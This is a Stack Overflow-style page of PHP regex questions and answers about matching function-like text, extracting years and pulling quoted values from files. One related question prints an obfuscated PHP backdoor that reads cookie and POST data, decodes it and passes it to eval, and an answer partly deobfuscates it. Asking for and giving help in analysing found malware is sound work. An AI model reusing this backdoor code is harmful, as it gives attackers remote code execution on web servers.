PHP preg_match to retrieve text? [closed] - php

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 5 years ago.
Improve this question
I am not good with regular expressions, so I need a little bit of help.
I am trying to retrieve text like function inside a string like this:
$str_var = " i do not need this datavar(i need this), i do not need this datavar(and also this), and so on";
preg_match('#\((.*?)\)#', $str_var, $match);
print_r($match)
I would like to have:
arr value 1 = datavar(i need this)
arr value 2 = datavar(and also this)
So far I am able to retrieve the text inside "this is it" and "this is it 2" but I need to retrieve the function name and the content with the pharentesis as well like: "datavar(i need this)" and "datavar(and also this)"
Any ideas

This probably is what you are looking for if the words before the brackets are composed only of letters, as you confirmed in the comments to the question:
<?php
$subject = " i do not need this ineedthis(and also this), i do not need this ineedthistoo(and also this 2), and so on";
preg_match_all('#(\w+\([^)]+\))#', $subject, $matches);
print_r($matches);
The output of above code is:
Array
(
[0] => Array
(
[0] => ineedthis(and also this)
[1] => ineedthistoo(and also this 2)
)
[1] => Array
(
[0] => ineedthis(and also this)
[1] => ineedthistoo(and also this 2)
)
)
UPDATE:
If that word before the brackets is the fixed, literal string datavar, then you can simplify above code to:
<?php
$subject = " i do not need this ineedthis(and also this), i do not need this ineedthistoo(and also this 2), and so on";
preg_match_all('#(datavar\([^)]+\))#', $subject, $matches);
print_r($matches);

Depending on the exact conditions, you could use something like:
(\w+\([^)]+\))
or in php:
preg_match('(\w+\([^)]+\))', $str_var, $match);
That means a serie of word characters \w+ followed by a (, a number of characters that are not ) and finally the closing ).
See an example here.

Related

Decoding encrypted malicious script [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
I found in my old application directory a script from 2017. It is clearly malicious, can anybody help decoding it? The important part is encoded in first string but I am not able to decode it using any online decoding tool. It probably creates an array of directories? And sets cookie for whatever reason. I am curious what was the purpose of it.
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
$crsqpj=Array();
$crsqpj[]=$zkvaoku[26].$zkvaoku[5];
$crsqpj[]=$zkvaoku[29];
$crsqpj[]=$zkvaoku[7].$zkvaoku[2].$zkvaoku[4].$zkvaoku[14].$zkvaoku[25].$zkvaoku[33].$zkvaoku[2].$zkvaoku[7].$zkvaoku[12].$zkvaoku[15].$zkvaoku[23].$zkvaoku[33].$zkvaoku[33].$zkvaoku[12].$zkvaoku[3].$zkvaoku[4].$zkvaoku[3].$zkvaoku[20].$zkvaoku[12].$zkvaoku[31].$zkvaoku[20].$zkvaoku[2].$zkvaoku[18].$zkvaoku[12].$zkvaoku[6].$zkvaoku[18].$zkvaoku[3].$zkvaoku[7].$zkvaoku[32].$zkvaoku[7].$zkvaoku[20].$zkvaoku[7].$zkvaoku[20].$zkvaoku[33].$zkvaoku[7].$zkvaoku[28];
$crsqpj[]=$zkvaoku[18].$zkvaoku[22].$zkvaoku[21].$zkvaoku[10].$zkvaoku[35];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[13].$zkvaoku[9].$zkvaoku[32].$zkvaoku[27].$zkvaoku[32].$zkvaoku[31].$zkvaoku[35];
$crsqpj[]=$zkvaoku[32].$zkvaoku[17].$zkvaoku[27].$zkvaoku[0].$zkvaoku[22].$zkvaoku[15].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[21].$zkvaoku[28].$zkvaoku[30].$zkvaoku[35].$zkvaoku[9];
$crsqpj[]=$zkvaoku[31].$zkvaoku[9].$zkvaoku[9].$zkvaoku[31].$zkvaoku[34].$zkvaoku[13].$zkvaoku[16].$zkvaoku[32].$zkvaoku[9].$zkvaoku[11].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[0].$zkvaoku[32].$zkvaoku[10];
$crsqpj[]=$zkvaoku[27].$zkvaoku[31].$zkvaoku[18].$zkvaoku[24];
foreach($crsqpj[7]($_COOKIE,$_POST) as $qxmpsom=>$laqeud) {
function vlriqj($crsqpj,$qxmpsom,$lrkqaso) {
return $crsqpj[6]($crsqpj[4]($qxmpsom.$crsqpj[2],($lrkqaso/$crsqpj[8]($qxmpsom))+1),0,$lrkqaso);
}
function pajbr($crsqpj,$olzmly) {
return #$crsqpj[9]($crsqpj[0],$olzmly);
}
function pzdratz($crsqpj,$olzmly) {
$losvhfn=$crsqpj[3]($olzmly)%3;
if(!$losvhfn) {
eval($olzmly[1]($olzmly[2]));
exit();
}
}
$laqeud=pajbr($crsqpj,$laqeud);
pzdratz($crsqpj,$crsqpj[5]($crsqpj[1],$laqeud^ vlriqj($crsqpj,$qxmpsom,$crsqpj[8]($laqeud))));
}
How to find what kind of encoder is user in this string?
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
The $zkvaoku string at the beginning of the script isn't encoded in any "traditional" encoding. If you look at the block of statements following it, up until the foreach loop, you'll see that it's used to dynamically construct an array of strings that are much more readable.
If you print the content of $crsqpj after this block, you'll see the following:
Array (
[0] => H*
[1] => #
[2] => 09f23690-d166-4f48-a89c-5c40e080860b
[3] => count
[4] => str_repeat
[5] => explode
[6] => substr
[7] => array_merge
[8] => strlen
[9] => pack
)
Now you can start seeing how these strings are used to dynamically call functions.

How to remove s specific part of string in php [closed]

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 8 years ago.
Improve this question
I am fetching data from a database as a string like 02-feb-1990 I want to remove all the characters from the string, and have only date of year means 1990.
How can I achieve this in PHP using regex or any other method
This should work for you:
<?php
$input = "02-feb-1990";
echo $year = substr($input, -4);
?>
Output:
1990
If you want to use regex:
<?php
$input = "02-feb-1990";
preg_match_all("/\d{4}$/", $input, $matches);
print_r($matches);
?>
Output:
Array ( [0] => Array ( [0] => 1990 ) )
In order to retrieve a 4 digit year from dd-mmm-yyyy using regex, you can use the following:
$date = "02-feb-1990"
preg_match('/\d{4}/', $date, $year);
echo $year[0];
The above will match the first 4 digit number you come across, which in this instance, will always be the 4-digit year.

Extracting data with a certain pattern from a .txt file [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 9 years ago.
Improve this question
I have a large .txt file that contains a lot of text like this:
data-domain="googledotcom"
So, I want to extract whatever is in the quotes (in this case googledotcom) into a new file. Results should be each separated with a new line (or at least with a tab).
I've looked online and couldn't find an easy way to do it. I might have tagged this question wrong, just because I'm not sure how to accomplish this, thanks for help.
$text = file('file.txt') ;
foreach ($text as $value) {
if (preg_match('/"([^"]+)"/', $value, $match)) {
$domains[] = $match[1];
}
}
file_put_contents("domains.txt", implode("\n", $domains));
As mentioned in comments, you can use preg_match_all() regex for that:
<?php
header('Content-Type: text/plain; charset=utf-8');
$test = <<<STR
xxx
data-domain="test1"
yyy data-domain="test2"
zzz
data-domain="test3"
STR;
$results = preg_match_all('/data\-domain\=\"(.+)\"/', $test, $matches);
print_r($matches[1]);
?>
Results:
Array
(
[0] => test1
[1] => test2
[2] => test3
)
Dependent on filesize, you should read it by fopen() + fread() (row-by-row if it is large) or by file_get_contents() (entire file at once, if it is relatively small). Then analyze it with regular expression and write results to a new file.

Find all reaccurances of text inbetween two strings [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions concerning problems with code you've written must describe the specific problem — and include valid code to reproduce it — in the question itself. See SSCCE.org for guidance.
Closed 9 years ago.
Improve this question
I'm trying to find a text between $something and $something_else and ditch it out in an array.
I would think you need preg_match to do this but I have been trying alot and still have no idea.
This should work no matter what $something and $something_else is.
You need to read the documentation of preg_match and preg_match_all.
Here's a simple example that will match whatever content inside (double quotes)..
<?php
preg_match_all('~"(.*?)"~',
'Hey there "I will be matched", because "I am inside the double quotes"',
$out, PREG_PATTERN_ORDER);
print_r(($out[0]));
OUTPUT :
Array
(
[0] => "I will be matched"
[1] => "I am inside the double quotes"
)
Correct me if i am wrong. We can use explode one string into a array. Use pre_match_all for the another string with each word of the array . In this way, it will work with any string.

How to remove some part of text in the first index of php array [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
This is my array in php
$a is my array
Array
(
[0] => class="date-display-single">24-Feb-2013
[2] => 11:35
[3] => AM
)
How do I remove class="date-display-single"> from array[0]?
Several ways... But the simplest one is to do:
$a[0] = str_replace('class="data-display-single">', '', $a[0]);
This simple statement should do exactly that:
$a[0] = substr($a[0], strpos($a[0], '>') + 1);
That said, it all depends on how you ended up with that array in the first place; it seems things can be fixed higher up in the code.
there you are:
$a[0] = str_replace('class="date-display-single">','',$a[0]);
but i would do it in the string, before you explode your date string. no in the array after
Check out unset()
You could try something like:
unset($a[0]);
Try this
str_replace('class="date-display-single">', '', $a[0]);

Categories